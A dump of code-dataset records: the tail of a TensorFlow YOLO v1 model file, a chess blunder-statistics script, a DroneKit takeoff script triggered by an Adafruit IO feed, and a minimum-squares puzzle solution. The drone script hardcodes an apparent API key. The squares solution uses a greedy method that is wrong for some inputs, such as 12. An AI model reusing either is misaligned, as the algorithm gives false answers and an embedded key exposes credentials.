class_loss,\r\n iou_value, object_value, anyobject_value, recall_value, class_value):\r\n # 循环每一个object,计算每个box对每个object的iou\r\n results = tf.while_loop(\r\n cond=self._one_object_iou_cond, \r\n body=self._one_object_iou_body, \r\n loop_vars=[example, tf.constant(0), self.object_nums[example],\r\n tf.zeros(shape=(self.cell_size, self.cell_size, \r\n self.n_boxes, self.max_objects))])\r\n iou_tensor_whole = results[3]\r\n iou_tensor_max = tf.reduce_max(iou_tensor_whole, 3, keep_dims=True)\r\n noobject_mask = tf.cast(\r\n (iou_tensor_max <= self.noobject_thresh), dtype=tf.float32)\r\n \r\n # 计算noobject_loss\r\n noobject_label = tf.zeros(\r\n shape=(self.cell_size, self.cell_size, self.n_boxes, 1),\r\n dtype=tf.float32)\r\n noobject_pred = self.box_preds[example,:,:,:,4:5]\r\n noobject_loss += tf.nn.l2_loss(\r\n (noobject_label - noobject_pred) * noobject_mask)\r\n \r\n # 计算anyobject_value\r\n anyobject_value += tf.reduce_sum(noobject_pred, axis=[0,1,2,3])\r\n \r\n # 循环每一个object,计算coord_loss, object_loss和class_loss\r\n results = tf.while_loop(\r\n cond=self._one_object_loss_cond, \r\n body=self._one_object_loss_body,\r\n loop_vars=[example, tf.constant(0), self.object_nums[example],\r\n tf.constant(0.0), tf.constant(0.0), tf.constant(0.0), \r\n tf.constant(0.0), tf.constant(0.0), tf.constant(0.0), tf.constant(0.0)])\r\n coord_loss += results[3]\r\n object_loss += results[4]\r\n class_loss += results[5]\r\n iou_value += results[6]\r\n object_value += results[7]\r\n recall_value += results[8]\r\n class_value += results[9]\r\n \r\n example += 1\r\n \r\n return example, batch_size, coord_loss, object_loss, noobject_loss, class_loss, \\\r\n iou_value, object_value, anyobject_value, recall_value, class_value\r\n \r\n def _one_object_iou_cond(self, example, num, object_num, iou_tensor_whole):\r\n \r\n return num < object_num\r\n \r\n def _one_object_iou_body(self, example, num, object_num, iou_tensor_whole):\r\n # 构造box_label\r\n # 如果cell中有物体,box_label的每一个box为四个坐标,如果cell中没有物体,则均为0\r\n box_label = tf.reshape(self.box_labels[example, num, 0:4], shape=(1, 1, 1, 4))\r\n box_label = tf.tile(box_label, [self.cell_size, self.cell_size, self.n_boxes, 4])\r\n \r\n # 构造box_pred\r\n # 尺寸为(cell_size, cell_size, n_boxes, 4)\r\n box_pred = self.box_preds[example,:,:,:,0:4]\r\n \r\n # 计算iou\r\n # 尺寸为(cell_size, cell_size, n_boxes, 1)\r\n iou_tensor = self.calculate_iou_tf(box_pred, box_label)\r\n \r\n # 将iou_tensor的最后一位补齐成max_objects,这样构成的iou_tensor_whole尺寸为\r\n # (cell_size, cell_size, n_boxes, max_objects),对最后一位求max,就可以获得\r\n # 每一个pred_box对所有object的iou中最大的max_iou\r\n padding = tf.cast([[0, 0], [0, 0], [0, 0], [num, self.max_objects-num-1]], dtype=tf.int32)\r\n iou_tensor = tf.pad(iou_tensor, paddings=padding, mode='CONSTANT')\r\n \r\n iou_tensor_whole += iou_tensor\r\n \r\n num += 1\r\n \r\n return example, num, object_num, iou_tensor_whole\r\n \r\n def _one_object_loss_cond(self, example, num, object_num, coord_loss, object_loss, class_loss, \r\n iou_value, object_value, recall_value, class_value):\r\n \r\n return num < object_num\r\n \r\n def _one_object_loss_body(self, example, num, object_num, coord_loss, object_loss, class_loss, \r\n iou_value, object_value, recall_value, class_value):\r\n # 构造object_mask\r\n # 如果cell中有物体,object_mask则为1,如果cell中没有物体,则为0\r\n cell_x = tf.cast(self.box_labels[example, num, 0] * self.cell_size, dtype='int32')\r\n cell_y = tf.cast(self.box_labels[example, num, 1] * self.cell_size, dtype='int32')\r\n object_mask = tf.ones(\r\n shape=(1, 1), dtype=tf.float32)\r\n padding = tf.cast([[cell_y, self.cell_size-cell_y-1], \r\n [cell_x, self.cell_size-cell_x-1]], dtype=tf.int32)\r\n object_mask = tf.reshape(\r\n tf.pad(object_mask, paddings=padding, mode='CONSTANT'),\r\n shape=(self.cell_size, self.cell_size, 1, 1))\r\n \r\n # 构造box_label\r\n # 如果cell中有物体,box_label的每一个box则为四个坐标,如果cell中没有物体,则为0\r\n box_label = tf.cast(self.box_labels[example,num,0:4], dtype=tf.float32)\r\n box_label = tf.reshape(box_label, shape=(1, 1, 1, 4))\r\n box_label = tf.tile(box_label, [1, 1, self.n_boxes, 4])\r\n padding = tf.cast([[cell_y, self.cell_size-cell_y-1], \r\n [cell_x, self.cell_size-cell_x-1],\r\n [0, 0], [0, 0]], dtype=tf.int32)\r\n box_label = tf.pad(box_label, paddings=padding, mode='CONSTANT')\r\n \r\n # 构造box_pred\r\n # 尺寸为(cell_size, cell_size, n_boxes, 4)\r\n box_pred = self.box_preds[example,:,:,:,0:4]\r\n \r\n # 计算box_label和box_pred的iou,选出最大的iou来计算\r\n iou_tensor = self.calculate_iou_tf(box_pred, box_label)\r\n iou_tensor_max = tf.reduce_max(iou_tensor, 2, keep_dims=True)\r\n iou_tensor_mask = tf.cast(\r\n (iou_tensor >= iou_tensor_max), dtype=tf.float32) * object_mask\r\n \r\n # 计算coord_loss\r\n # coord_pred为box_pred的值,尺寸为(cell_size, cell_size, n_box, 1)\r\n # 每一个cell中,有object,并且iou最大的那个box的coord_label为真实的label,其余为0,\r\n # coord_label尺寸为(cell_size, cell_size, n_box, 1)\r\n coord_label = box_label[:,:,:,0:4]\r\n coord_pred = self.box_preds[example,:,:,:,0:4]\r\n coord_loss += tf.nn.l2_loss((coord_label - coord_pred) * iou_tensor_mask)\r\n \r\n # 计算iou_value\r\n # 每一个cell中,有object,并且iou最大的那个对应的iou\r\n coord_pred = self.box_preds[example,:,:,:,0:4]\r\n true_iou_tensor = self.calculate_iou_tf(coord_pred, box_label)\r\n iou_value += tf.reduce_sum(\r\n true_iou_tensor * iou_tensor_mask, axis=[0,1,2,3])\r\n \r\n # 计算recall_value\r\n # 每一个cell中,有object,并且iou最大的哪个对应的iou如果大于recall_thresh,则加1\r\n recall_mask = tf.cast(\r\n (true_iou_tensor * iou_tensor_mask > self.recall_thresh), dtype=tf.float32)\r\n recall_value += tf.reduce_sum(recall_mask, axis=[0,1,2,3])\r\n \r\n # 计算object_loss\r\n # object_pred为box_pred的值,尺寸为(cell_size, cell_size, n_box, 1)\r\n # 每一个cell中,有object,并且iou最大的那个box的object_label为iou,其余为0,\r\n # object_label尺寸为(cell_size, cell_size, n_box, 1)\r\n object_label = tf.ones(shape=(self.cell_size, self.cell_size, self.n_boxes, 1))\r\n object_pred = self.box_preds[example,:,:,:,4:5]\r\n object_loss += tf.nn.l2_loss((object_label - object_pred) * iou_tensor_mask)\r\n \r\n # 计算object_value\r\n # 每一个cell中,有object,并且iou最大的那个对应的box_pred中的confidence\r\n object_value += tf.reduce_sum(\r\n self.box_preds[example,:,:,:,4:5] * iou_tensor_mask, axis=[0,1,2,3])\r\n \r\n # 计算class_true\r\n class_index = tf.cast(self.box_labels[example,num,4], dtype=tf.int32)\r\n class_label = tf.ones((1, 1, self.n_boxes, 1), dtype=tf.float32)\r\n padding = tf.cast([[cell_y, self.cell_size-cell_y-1], \r\n [cell_x, self.cell_size-cell_x-1],\r\n [0, 0], [class_index, self.n_classes-class_index-1]], dtype=tf.int32)\r\n class_label = tf.reshape(\r\n tf.pad(class_label, paddings=padding, mode='CONSTANT'),\r\n shape=(self.cell_size, self.cell_size, self.n_boxes, self.n_classes))\r\n class_pred = self.box_preds[example,:,:,:,5:]\r\n class_loss += tf.nn.l2_loss((class_label - class_pred) * iou_tensor_mask)\r\n class_value += tf.reduce_sum(class_label * class_pred * iou_tensor_mask, axis=[0,1,2,3])\r\n \r\n num += 1\r\n \r\n return example, num, object_num, coord_loss, object_loss, class_loss, \\\r\n iou_value, object_value, recall_value, class_value\r\n \r\n def calculate_iou_tf(self, box_pred, box_label):\r\n box1 = tf.stack([\r\n box_pred[:,:,:,0] - box_pred[:,:,:,2] / 2.0,\r\n box_pred[:,:,:,1] - box_pred[:,:,:,3] / 2.0,\r\n box_pred[:,:,:,0] + box_pred[:,:,:,2] / 2.0,\r\n box_pred[:,:,:,1] + box_pred[:,:,:,3] / 2.0])\r\n box1 = tf.transpose(box1, perm=[1, 2, 3, 0])\r\n box2 = tf.stack([\r\n box_label[:,:,:,0] - box_label[:,:,:,2] / 2.0,\r\n box_label[:,:,:,1] - box_label[:,:,:,3] / 2.0,\r\n box_label[:,:,:,0] + box_label[:,:,:,2] / 2.0,\r\n box_label[:,:,:,1] + box_label[:,:,:,3] / 2.0])\r\n box2 = tf.transpose(box2, perm=[1, 2, 3, 0])\r\n \r\n left_top = tf.maximum(box1[:,:,:,0:2], box2[:,:,:,0:2])\r\n right_bottom = tf.minimum(box1[:,:,:,2:4], box2[:,:,:,2:4])\r\n intersection = right_bottom - left_top\r\n inter_area = intersection[:,:,:,0] * intersection[:,:,:,1]\r\n mask = tf.cast(intersection[:,:,:,0] > 0, tf.float32) * \\\r\n tf.cast(intersection[:,:,:,1] > 0, tf.float32)\r\n inter_area = inter_area * mask\r\n box1_area = (box1[:,:,:,2] - box1[:,:,:,0]) * (box1[:,:,:,3] - box1[:,:,:,1])\r\n box2_area = (box2[:,:,:,2] - box2[:,:,:,0]) * (box2[:,:,:,3] - box2[:,:,:,1])\r\n iou = inter_area / (box1_area + box2_area - inter_area + 1e-6)\r\n \r\n return tf.reshape(iou, shape=[self.cell_size, self.cell_size, self.n_boxes, 1])\r\n \r\n def calculate_iou_py(self, box_pred, box_label):\r\n box1 = [box_pred[0] - box_pred[2] / 2.0,\r\n box_pred[1] - box_pred[3] / 2.0,\r\n box_pred[0] + box_pred[2] / 2.0,\r\n box_pred[1] + box_pred[3] / 2.0]\r\n box2 = [box_label[0] - box_label[2] / 2.0,\r\n box_label[1] - box_label[3] / 2.0,\r\n box_label[0] + box_label[2] / 2.0,\r\n box_label[1] + box_label[3] / 2.0]\r\n left = max(box1[0], box2[0])\r\n top = max(box1[1], box2[1])\r\n right = min(box1[2], box2[2])\r\n bottom = min(box1[3], box2[3])\r\n inter_area = (right - left) * (bottom - top)\r\n box1_area = (box1[2] - box1[0]) * (box1[3] - box1[1])\r\n box2_area = (box2[2] - box2[0]) * (box2[3] - box2[1])\r\n iou = inter_area / (box1_area + box2_area - inter_area + 1e-6) if inter_area >= 0 else 0.0\r\n \r\n return iou\r\n \r\n def train(self, dataset, backup_path, n_iters=500000, batch_size=128):\r\n # 构建会话\r\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.95)\r\n self.sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))\r\n # 模型保存器\r\n self.saver = tf.train.Saver(\r\n var_list=tf.global_variables(), write_version=tf.train.SaverDef.V2, \r\n max_to_keep=1)\r\n # 模型初始化\r\n self.sess.run(tf.global_variables_initializer())\r\n \r\n # 模型训练\r\n process_images = 0\r\n train_avg_loss, train_coord_loss, \\\r\n train_object_loss, train_noobject_loss, train_class_loss = \\\r\n 0.0, 0.0, 0.0, 0.0, 0.0\r\n train_iou_value, train_object_value, \\\r\n train_anyobject_value, train_recall_value, train_class_value = \\\r\n 0.0, 0.0, 0.0, 0.0, 0.0\r\n \r\n for n_iter in range(1, n_iters+1):\r\n # 训练一个batch,计算从准备数据到训练结束的时间\r\n start_time = time.time()\r\n\r\n # 获取数据\r\n [batch_images, batch_box_labels, batch_object_nums] = dataset.get()\r\n\r\n [_, avg_loss, coord_loss, object_loss, noobject_loss, class_loss,\r\n iou_value, object_value, anyobject_value, recall_value, class_value] = \\\r\n self.sess.run(\r\n fetches=[self.optimizer, self.avg_loss, self.coord_loss, \r\n self.object_loss, self.noobject_loss, self.class_loss, \r\n self.iou_value, self.object_value, self.nobject_value, \r\n self.recall_value, self.class_value], \r\n feed_dict={self.images: batch_images, self.box_labels: batch_box_labels,\r\n self.object_nums: batch_object_nums, self.keep_prob: 0.5})\r\n \r\n train_avg_loss += avg_loss\r\n train_coord_loss += coord_loss\r\n train_object_loss += object_loss\r\n train_noobject_loss += noobject_loss\r\n train_class_loss += class_loss\r\n train_iou_value += iou_value\r\n train_object_value += object_value\r\n train_anyobject_value += anyobject_value\r\n train_recall_value += recall_value\r\n train_class_value += class_value\r\n \r\n process_images += batch_size\r\n \r\n end_time = time.time()\r\n spend = end_time - start_time\r\n \r\n # 每1轮训练观测一次train_loss \r\n print('{TRAIN} [%d], train_loss: %.6f, coord_loss: %.6f, '\r\n 'object_loss: %.6f, nobject_loss: %.6f, class_loss: %.6f, '\r\n 'image_nums: %d, time: %.2f' % (\r\n n_iter, train_avg_loss, train_coord_loss, train_object_loss, \r\n train_noobject_loss, train_class_loss, process_images, spend))\r\n sys.stdout.flush()\r\n \r\n train_avg_loss, train_coord_loss, train_object_loss, \\\r\n train_noobject_loss, train_class_loss = 0.0, 0.0, 0.0, 0.0, 0.0\r\n \r\n # 每1轮观测一次训练集evaluation\r\n print('{TRAIN} [%d], IOU: %.6f, Object: %.6f, '\r\n 'Noobject: %.6f, Recall: %.6f, Class: %.6f\\n' % (\r\n n_iter, train_iou_value, train_object_value, \r\n train_anyobject_value, train_recall_value, train_class_value))\r\n sys.stdout.flush()\r\n \r\n train_iou_value, train_object_value, train_anyobject_value, \\\r\n train_recall_value, train_class_value = 0.0, 0.0, 0.0, 0.0, 0.0\r\n \r\n # 每10000轮保存一次模型\r\n if n_iter % 10000 == 0:\r\n saver_path = self.saver.save(\r\n self.sess, os.path.join(backup_path, 'model.ckpt'))\r\n \r\n self.sess.close()\r\n \r\n def test(self, processor, backup_dir, output_dir, batch_size=128):\r\n # 构建会话\r\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.95)\r\n self.sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))\r\n \r\n # 读取模型\r\n self.saver = tf.train.Saver(write_version=tf.train.SaverDef.V2)\r\n model_path = os.path.join(backup_dir, 'model.ckpt')\r\n assert(os.path.exists(model_path+'.index'))\r\n self.saver.restore(self.sess, model_path)\r\n print('read model from %s' % (model_path))\r\n \r\n # 获取数据并进行数据增强\r\n batch_image_paths, batch_labels = processor.get_index_batch(\r\n processor.testsets, 0, batch_size)\r\n batch_images, _ = processor.data_augmentation(\r\n batch_image_paths, batch_labels, mode='test',\r\n flip=False, whiten=True, resize=True)\r\n \r\n [logits] = self.sess.run(\r\n fetches=[self.logits], \r\n feed_dict={self.images: batch_images,\r\n self.keep_prob: 1.0})\r\n \r\n box_preds = numpy.reshape(\r\n logits, (self.batch_size, self.cell_size, self.cell_size, \r\n self.n_boxes, 5+self.n_classes))\r\n \r\n for j in range(batch_images.shape[0]):\r\n image_path = batch_image_paths[j]\r\n output_path = os.path.join(output_dir, os.path.split(image_path)[1])\r\n image = cv2.imread(image_path)\r\n \r\n # 获得预测的preds\r\n preds = []\r\n for x in range(self.cell_size):\r\n for y in range(self.cell_size):\r\n for n in range(self.n_boxes):\r\n box = box_preds[j,x,y,n,0:4]\r\n prob = box_preds[j,x,y,n,4] * max(box_preds[j,x,y,n,5:])\r\n index = numpy.argmax(box_preds[j,x,y,n,5:])\r\n if prob >= self.pred_thresh:\r\n preds.append([box, index, prob])\r\n \r\n # 排序并去除box\r\n preds = sorted(preds, key=lambda x: x[2], reverse=True)\r\n for x in range(len(preds)):\r\n for y in range(x+1, len(preds)):\r\n iou = self.calculate_iou_py(preds[x][0], preds[y][0])\r\n if preds[x][1] == preds[y][1] and iou > self.nms_thresh:\r\n preds[y][2] = 0.0\r\n \r\n # 画预测的框\r\n for k in range(len(preds)):\r\n if preds[k][2] > self.pred_thresh:\r\n box = preds[k][0]\r\n left = int(min(max(0.0, (box[0] - box[2] / 2.0)), 0.9999) * image.shape[1])\r\n right = int(min(max(0.0, (box[0] + box[2] / 2.0)), 0.9999) * image.shape[1])\r\n top = int(min(max(0.0, (box[1] - box[3] / 2.0)), 0.9999) * image.shape[0])\r\n bottom = int(min(max(0.0, (box[1] + box[3] / 2.0)), 0.9999) * image.shape[0])\r\n cv2.rectangle(image, (left, top), (right, bottom), (238, 130, 238), 2)\r\n \r\n plt.imsave(output_path, image)\r\n \r\n def debug(self, processor):\r\n # 处理数据\r\n train_class_labels, train_object_masks, train_nobject_masks, \\\r\n train_box_labels, train_box_masks = self.process_labels_cpu(processor.train_labels)\r\n # 构建会话\r\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.25)\r\n self.sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))\r\n self.sess.run(tf.global_variables_initializer())\r\n # 运行\r\n [temp] = self.sess.run(\r\n fetches=[self.observe],\r\n feed_dict={self.images: numpy.random.random(size=[128, 384, 384, 3]),\r\n self.labels: numpy.random.randint(low=0, high=1, size=[128, 20, 5]),\r\n self.keep_prob: 1.0})\r\n print(temp.shape)\r\n self.sess.close()\r\n","sub_path":"src/model/yolo_v1.py","file_name":"yolo_v1.py","file_ext":"py","file_size_in_byte":30307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"341961773","text":"#!/usr/bin/env python\r\n\r\nimport sys, csv\r\nfrom pandas import *\r\nfrom numpy import *\r\n\r\n# simple list of the scores of all positions\r\nposition_scores = []\r\n\r\n# map from player-game to blunderrate\r\nmeanerror = {}\r\nq_error_one = {}\r\nq_error_two = {}\r\n\r\nmeanecho = {}\r\nperfectrate = {}\r\nblunderrate = {}\r\ngameoutcome = {}\r\ngamelength = {}\r\nwon_by_checkmate = {}\r\nlost_by_checkmate = {}\r\nmy_final_equity = {}\r\ngritt = {}\r\nmatecreated = {}\r\nmatedestroyed = {}\r\n\r\n# map from event_num to move # of first move where abs(equity) was > 100\r\nearly_lead = {}\r\n\r\ndef was_matecreated(prev, next):\r\n return (prev > -500 and next < -1000)\r\n\r\ndef was_matedestroyed(prev, next):\r\n return (prev > 1000 and next < 500)\r\n\r\n##############################\r\n# START\r\n##############################\r\n\r\nyy_df = read_pickle('/data/yy_df.p')\r\nmin_elo = int(sys.argv[2])\r\nmax_elo = int(sys.argv[3])\r\n\r\nyy_df = yy_df[(yy_df['elo'] >= min_elo) & (yy_df['elo'] <= max_elo)]\r\npandas.set_option('display.max_rows', None)\r\ngamerow = yy_df.sort('rfr_error', ascending=False).iloc[int(sys.argv[1])]\r\nprint(gamerow)\r\n\r\nrows = {}\r\nfor scorefile_name in ['/data/20150203_movescores.csv', '/data/movescores.csv', '/data/stockfish.csv']:\r\n stockfish_scores = open(scorefile_name)\r\n stockfish_reader = csv.reader(stockfish_scores, delimiter=',')\r\n for row in stockfish_reader:\r\n if row[0] == 'Event':\r\n continue\r\n gamenum = int(row[0])\r\n if gamenum == gamerow['gamenum']:\r\n if gamenum not in rows:\r\n rows[gamenum] = row\r\n print(row)\r\n\r\nfor row in list(rows.values()):\r\n\r\n gamenum = int(row[0])\r\n movescores = {}\r\n movescores[1] = []\r\n movescores[-1] = []\r\n moverecho = {}\r\n moverecho[1] = []\r\n moverecho[-1] = []\r\n grit = {}\r\n grit[1] = 0\r\n grit[-1] = 0\r\n lead_established = False\r\n\r\n# if gamenum > 30:\r\n# break\r\n\r\n strscores = row[1].split(' ')\r\n side = 1\r\n last_equity = int(strscores[0])\r\n last_gain = 0\r\n movenum = 0\r\n num_moves_while_losing = 0\r\n matecreated[(gamenum,1)] = False\r\n matecreated[(gamenum,-1)] = False\r\n matedestroyed[(gamenum,1)] = False\r\n matedestroyed[(gamenum,-1)] = False\r\n\r\n for strscore in strscores[1:]:\r\n # only for stockfish.csv\r\n if (strscore == 'NA') or (strscore == ''):\r\n score = 0\r\n else:\r\n score = int(strscore)\r\n\r\n position_scores.append(score)\r\n whitegain = None\r\n movergain = None\r\n\r\n if not lead_established and abs(score) > 100:\r\n lead_established = True\r\n early_lead[gamenum] = movenum\r\n\r\n if last_equity is not None:\r\n whitegain = score - last_equity\r\n movergain = whitegain * side\r\n if last_equity * side < -300:\r\n grit[side] = grit[side] + 1\r\n if last_gain == 0:\r\n echo = 0\r\n else:\r\n echo = max(0, min(1, movergain / last_gain))\r\n if abs(last_equity) < 30000:\r\n movescores[side].append(movergain)\r\n moverecho[side].append(echo)\r\n if was_matecreated(side * last_equity, side * score):\r\n matecreated[(gamenum,side)] = True\r\n if was_matedestroyed(side * last_equity, side * score):\r\n matedestroyed[(gamenum,side)] = True\r\n\r\n mover_score = last_equity * side\r\n\r\n last_equity = score\r\n last_gain = movergain\r\n side = side * -1\r\n movenum = movenum + 1\r\n\r\n print(\"MS\", movescores)\r\n\r\n for side in [-1, 1]:\r\n clippederror = clip(movescores[side], -150, 0)\r\n print('meanerror (side %i) = %f' % (side, mean(clippederror)))\r\n","sub_path":"data/external/repositories_2to3/137656/blundercheck-master/combine/contest_20150310a/data_prep/show_a_game.py","file_name":"show_a_game.py","file_ext":"py","file_size_in_byte":3478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"491964347","text":"from __future__ import print_function\nfrom Adafruit_IO import *\nimport time\nfrom dronekit import connect, VehicleMode, LocationGlobalRelative\n\naio = Client('3d4f237c84c345268ad4186fdf6f8ce3')\n\nvehicle = connect('tcp:127.0.0.1:5762',baud=57600 ,wait_ready=True)\n\n\ndef takeoff(aTargetAltitude):\n print(\"Basic pre-arm checks\")\n # Don't try to arm until autopilot is ready\n while not vehicle.is_armable:\n print(\" Waiting for vehicle to initialise...\")\n time.sleep(1)\n\n print(\"Arming motors\")\n # Copter should arm in GUIDED mode\n vehicle.mode = VehicleMode(\"GUIDED\")\n vehicle.armed = True\n\n # Confirm vehicle armed before attempting to take off\n while not vehicle.armed:\n print(\" Waiting for arming...\")\n time.sleep(1)\n\n print(\"Taking off!\")\n vehicle.simple_takeoff(aTargetAltitude) # Take off to target altitude\n\n # Wait until the vehicle reaches a safe height before processing the goto\n # (otherwise the command after Vehicle.simple_takeoff will execute\n # immediately).\n while True:\n print(\" Altitude: \", vehicle.location.global_relative_frame.alt)\n # Break and return from function just below target altitude.\n if vehicle.location.global_relative_frame.alt >= aTargetAltitude * 0.95:\n print(\"Reached target altitude\")\n break\n time.sleep(1)\n\ndef land():\n\tvehicle.mode=VehicleMode(\"LAND\")\n\twhile True:\n \tprint(\" Altitude: \", vehicle.location.global_relative_frame.alt)\n \t# Break and return from function just below target altitude.\n \tif vehicle.location.global_relative_frame.alt < 1:\n \t\tprint(\"Reached ground\")\n \t\tbreak\n \ttime.sleep(1)\n\nwhile vehicle.is_armable:\n\tdata = aio.receive('drone')\n\tif data.value == \"1\":\n\t\ttakeoff(2)\n\t\tprint('Hovering')\n\t\ttime.sleep(5)\n\t\tprint('Landing Now')\n\t\tland()\n\t\tbreak\n\telse:\n\t\tprint('{0}'.format(data.value))\n\t\ttime.sleep(1)\n","sub_path":"Jose.py","file_name":"Jose.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"518290517","text":"\"\"\"\nProblem:\n\nGiven a positive integer n, find the smallest number of squared integers which sum to n.\n\nExample:\n\nInput = 13\nOutput = 2 (since 13 = 3^2 + 2^2 = 9 + 4)\n\nInput = 27\nOutput = 3 (since 27 = 3^2 + 3^2 + 3^2 = 9 + 9 + 9)\n\"\"\"\n\n# FUNCTION TO PERFORM THE OPERATION\ndef min_sq_num(num, accumulator=0):\n # base case for recursion 1\n if num == 0:\n return accumulator\n # base case for recursion 2\n elif num == 1:\n return accumulator + 1\n\n else:\n # getting the largest square number that is smaller than the current number\n largest_sq_divisor = int(num ** 0.5) ** 2\n\n # updating the number and incrementing accumulator\n num = num - largest_sq_divisor\n accumulator += 1\n\n # calling the function recursively\n return min_sq_num(num, accumulator)\n\n\n# DRIVER CODE\nprint(min_sq_num(25)) # (5 ^ 2)\nprint(min_sq_num(13)) # (2 ^ 2) + (3 ^ 2)\nprint(min_sq_num(27)) # (5 ^ 2) + (1 ^ 2) + (1 ^ 2)\n","sub_path":"Solutions/156.py","file_name":"156.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"}